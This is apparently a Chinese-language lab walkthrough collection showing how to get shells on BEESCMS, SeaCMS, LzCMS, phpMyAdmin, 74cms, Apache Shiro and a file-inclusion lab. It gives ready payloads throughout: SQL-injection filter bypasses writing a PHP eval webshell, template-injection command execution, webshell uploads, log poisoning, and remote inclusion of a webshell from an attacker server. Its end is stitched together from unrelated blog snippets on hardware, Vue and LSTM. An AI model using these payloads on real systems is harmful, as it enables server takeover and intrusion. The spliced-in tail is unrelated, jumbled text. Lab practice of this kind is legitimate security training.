进入目标网址
在 URL 处输入admin
进入后台管理
尝试使用弱密码登录失败,发现会有跳转界面,似乎没有什么异常
尝试使用御剑扫描
发现有 www.zip
下载后打开
发现是源码泄露,找到我们需要的内容,有些无法访问,有些纯白,似乎只有登陆界面可以尝试注入,打开源码,判断login.php
有没有什么注入点。
<?php
/**
* $Author: BEESCMS $
* ============================================================================
* 网站地址: http://www.beescms.com
* 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
* 不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*/
@ini_set('session.use_trans_sid', 0);
@ini_set('session.auto_start', 0);
@ini_set('session.use_cookies', 1);
error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));
define('INC_PATH',CMS_PATH.'includes/');
define('DATA_PATH',CMS_PATH.'data/');
include(INC_PATH.'fun.php');
include(DATA_PATH.'confing.php');
include(INC_PATH.'mysql.class.php');
if(file_exists(DATA_PATH.'sys_info.php')){
include(DATA_PATH.'sys_info.php');
}
$mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT);
session_start();
$s_code=empty($_SESSION['code'])?'':$_SESSION['code'];
$_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in'];
$_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin'];
if($_SESSION['login_in']&&$_SESSION['admin']){
header("location:admin.php");}
$action=empty($_GET['action'])?'login':$_GET['action'];
if($action=='login'){
global $_sys;
include('template/admin_login.html');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){
msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
elseif($action=='out'){
login_out();
}
?>
关键代码:
error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));
这里看到,他用到了str_replace
做了替换为空处理,由此我们需要进行双写绕过
尝试登录
账号:admin'
密码:admin
报错
但是通过报错信息,我们看到了很多内容,但是这里我们不准备使用 SQL 注入查数据,使用写文件写一个马上去,getshell
这里要用到的是select <?php assert($_POST[111]);?> into outfile '/文件路径'
因为有一个str_replace
所以需要双写,随便输入用户名和密码,登录并bp抓包。
使用绕过限制写入文件的注入代码
构建payload
:
admin' ununionion seselectlect 1,2,3,4,<?php assert($_POST['111']); ?> inintoto outoutfilefile '/var/www/html/shell.php'#
报错
在源码中发现fun.php
function fl_value($str){
if(empty($str)){
return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
}
function fl_html($str){
return htmlspecialchars($str);
}
发现将< >
过滤了,尝试url编码绕过,构建payload
:
%61%64%6d%69%6e%27%20%75%6e%75%6e%69%6f%6e%69%6f%6e%20%73%65%73%65%6c%65%63%74%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%3c%3f%70%68%70%20%61%73%73%65%72%74%28%24%5f%50%4f%53%54%5b%27%31%31%31%27%5d%29%3b%20%3f%3e%20%69%6e%20%69%6e%74%6f%20%6f%75%74%6f%75%74%66%69%6c%65%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%23
报错,url编码绕过失败
尝试使用16进制绕过,将一句话木马进行16进制编码,注意前面加上0x,这种方法也可以用在 sql 注入传参时引号被限制的情况的绕过注入
经过一系列调整,只有如下面构建payload
,才能成功:
admin%27 un union ion selselectect 1,2,3,4,0x3c3f7068702061737365727428245f504f53545b27313131275d293b203f3e %20 in into outoutfilefile '/var/www/html/shell.php';%00
验证是否上传成功
蚁剑连接 getshell
打开目标网址
使用burpsuite抓包
传入paload
:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");
在右边回显位置发现了命令执行后的结果,www-data
.
那么这里我们可以直接传入一句话木马
利用如下payload
,写入木马 getshell。利用 hackbar 验证是否写入成功:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("echo '<?php eval(\$_POST[111]);?>' >1.php");
验证 getshell ,蚁剑连接
LzCMS是用ThinkPHP+layui做的,简单方便,没有复杂的功能,是一个简单个人博客系统。 Lzcms_v1.1.5后台存在文件上传getshell漏洞,攻击者可利用此漏洞任意代码执行,从而控制服务器
进入目标网址,直接进后台
使用口令admin/admin123登陆
进入后台以后点击内容管理,编辑
在栏目图片这里上传1.png,内容为一句话木马,抓包将文件后缀修改为php
<?php @eval($_POST[111]);?>
这里直接上传了一个 1.php
蚁剑连接 getshell
访问
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可见/etc/passwd
被读取,说明文件包含漏洞存在:
环境启动后,访问http://your-ip:8080
,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户
我们先尝试在sql查询中输入SELECT '<?=phpinfo()?>';
,通过抓包工具获得我们查询的sessionid(cookie中phpMAdmin)的值
Cookie: phpMyAdmin=6a5466755645fa2795edbd4096cfd5d9; pma_lang=zh_CN; auto_saved_sql_sort=
在 phpMyAdmin 中 session 文件为/tmp/sess_sessionid
,因此我们在网址中包含就好
http://your_ip/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_6a5466755645fa2795edbd4096cfd5d9
sess 后面要跟上你之前记住的 phpmyadmin 的cookie
成功复现
骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器、
访问如下 url
http://IP/index.php?m=home&a=assign_resume_tpl
对此页面发送POST请求:
variable=1&tpl=<?php fputs(fopen("111.php","w"),"<?php eval(\$_POST[1]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
这里如果查看日志会发现已经记录了错误,木马已经写进去了,位置:\WWW\data\Runtime\Logs\Home
包含日志文件getshell,输入如下网址
http://IP/index.php?m=home&a=assign_resume_tpl
发送如下POST请求(注意:最后的22_08_01.log是按照日期来确定名称的,在包含日志文件的时候要包含当日的实际日期,如果是2022年8月5号开启的环境就要包含22_08_05.log):
variable=1&tpl=data/Runtime/Logs/Home/22_08_01.log
这里使用bp没有成功,但是使用 hackbar 好了
创建了111.php,访问一下
成功
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
存在危险的基础库:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
http://目标IP:8080
进入目标页面
输入默认的账号密码尝试登录,账号为admin,密码为vulhub,登录成功显示如下
这里使用 shiro 反序列化自动工具跑出 key
可以看到检查日志中成功爆出秘钥,并填写到指定秘钥中,点击爆破利用链及回显,可以看到当前利用链和回显位置适用
切换功能区至命令执行,输入whoami,可以看到获取的权限为root,由此证明可以实现远程命令执行
getshell
进入环境
include-01
、直接包含直接使用 http:// 协议包含远程服务器上的文件1.txt
1.txt 内容为一句话木马
http://本IP/src/include-01/?file=http://远程服务器IP/1.txt
访问并使用hackbar传入一个post参数
即可 getshell
include-02
、禁止翻目录同上,蚁剑连接 getshell
include-03
、绕过指定后缀的形式远程文件包含的绕过指定后缀的方式: 后面接?、#
等
getshell操作同第一关
include-04
、指定前缀本关卡会指定目录 在这种情况下远程文件包含不可以使用。
进入目标网址,这里主页有些问题,所以显示不完整
url 处添加/admin
进入后台
输入 admin/admin123
进入后台
点击数据,点击备份数据库随便那个下载到本地上
在里面添加上 sql 语句的一句话木马
select "<?php phpinfo(); @eval($_POST['111']);?>" into outfile '/var/www/html/111.php';
点击导入本地备份
备份导入成功,访问文件
蚁剑连接 getshell
文章浏览阅读8k次。解决思路:1、网络方面:这两颗料没有网口,那么给linux系统端移植一颗usb转网卡的芯片即可,价格一两块RMB,可行。2、去掉middleware和reference层,直接在ndk层进行操作;3、如果对图像有要求,可以在相关接口扩展指令,从而达到间接使用mpi接口的目的;..._hi3556的固件可以刷hi3559吗
文章浏览阅读466次。CPUOMAP-L138、TMS320C6748、AM1808三款CPU管脚兼容,外设资源基本相同。OMAP-L138TI公司的达芬奇架构嵌入式应用处理器开始使用DSP与ARM结合的非对称多核结构,OMAP-L138就是其中的一款低功耗双核嵌入式处理器。OMAP-L138双核架构兼具DSP的高数字信号处理性能和精简指令计算机(RISC)技术的优点,双核均是32位处理器。以下是OMAP-L138 CPU的资源框图:RJ45以太网口开发板采用了SMSC的LAN8710A网卡芯片,它可以自_am1808 代换
文章浏览阅读71次。YYYYYYYY欢迎使用Markdown编辑器你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。新的改变我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:全新的界面设计 ,将会带来全新的写作体验;在创作中心设置你喜爱的代码高亮样式,Markdown 将代码片显示选择的高亮样式 进行展_测试文档csdn
文章浏览阅读201次。概述上一篇我们介绍了如何将$.ajax和Vue.js结合在一起使用,并实现了一个简单的跨域CURD示例。Vue.js是数据驱动的,这使得我们并不需要直接操作DOM,如果我们不需要使用jQuery的DOM选择器,就没有必要引入jQuery。vue-resource是Vue.js的一款插件,它可以通过XMLHttpRequest或JSONP发起请求并处理响应。也就是说,$.ajax能做的事情,vue-..._vue uri
文章浏览阅读1.4k次。vite初识,vite与vuecli对比_vite和vuecli区别
文章浏览阅读1.2k次。加上-fWindows XP的关机是由Shutdown.exe程序来控制的,位于Windows\System32文件夹中。如果想让Windows 2000也实现同样的效果,可以把Shutdown.exe复制到系统目录System32下。首先当然要求主板必须支持软件关机功能,否则你还得亲自去按电源开关才能关机,现在的主板一般都支持软件关机。操作步骤:单击“开始”/程序/附件/系统工具中"计划任务",..._怎么先关程序后关电脑
文章浏览阅读2.6k次,点赞2次,收藏6次。.formTable{ border-spacing: 1px; background-color: rgba(201,201,201,1); /*边线颜色*/ border-collapse: separate; }td ,tr{ background-color: #fff;}谷歌更新到90版本后,border-collapse:collapse ; 属性出现问题导致,border 出现宽度不一![在这里插入图片描述](https://img-blog.csdni_兼容模式下 table表格边框变粗的问题
文章浏览阅读1.6k次。1.80X86 32位汇编基础以及寄存器设定 2.栈帧与C函数调用 3.函数调用的汇编级解释以及栈图 4.stdcall和cdcel------------------------------------------------------1. 80X86 32位CPU的编程模型(programming model) 80X86有16个通用寄存器register。从某种程度_c 里面调用汇编
文章浏览阅读1.4k次。【单选题】42. Wie alt ist deine Schwester? Ist sie noch klein? - Ja, sie ist acht.(1998)【单选题】46. Er behauptet, dass er niemals vorher danach .(2014)【多选题】在矩阵组织结构中,项目管理班子成员要直接接受( )的领导 (2.0分)【多选题】(2.0分)【单选题..._gegegan
文章浏览阅读488次,点赞9次,收藏5次。C++/Qt Window系统下无边框窗体_c++ 无边框窗口
文章浏览阅读539次,点赞11次,收藏9次。正向的LSTM网络接受序列数据的初始状态,逐步学习前向信息并更新内部隐藏状态,最终生成前向隐藏状态序列。反向的LSTM网络则以相反的顺序处理序列数据,并生成相应的反向隐藏状态序列。本文将介绍使用Matlab实现的BiLSTM算法,并展示其在多输入单输出回归问题上的应用。然后,我们定义了BiLSTM模型的层次结构,包括序列输入层、BiLSTM层、全连接层和回归层。与传统的单向LSTM相比,BiLSTM能够同时利用序列数据的前向和后向信息,从而提高模型在长期依赖关系上的学习能力。_双向bilstm模型
文章浏览阅读295次,点赞9次,收藏11次。D78XX系列是用于各种电视机、收录机、电子仪器、设备的稳压电源电路。包括D7805、D7806、 D7808、 D7809、 D7810、 D7812、 D7815。● 输出电流大,IOMAX= 1A.● 封装形式: T0-220。● 内设过热、短路保护电路。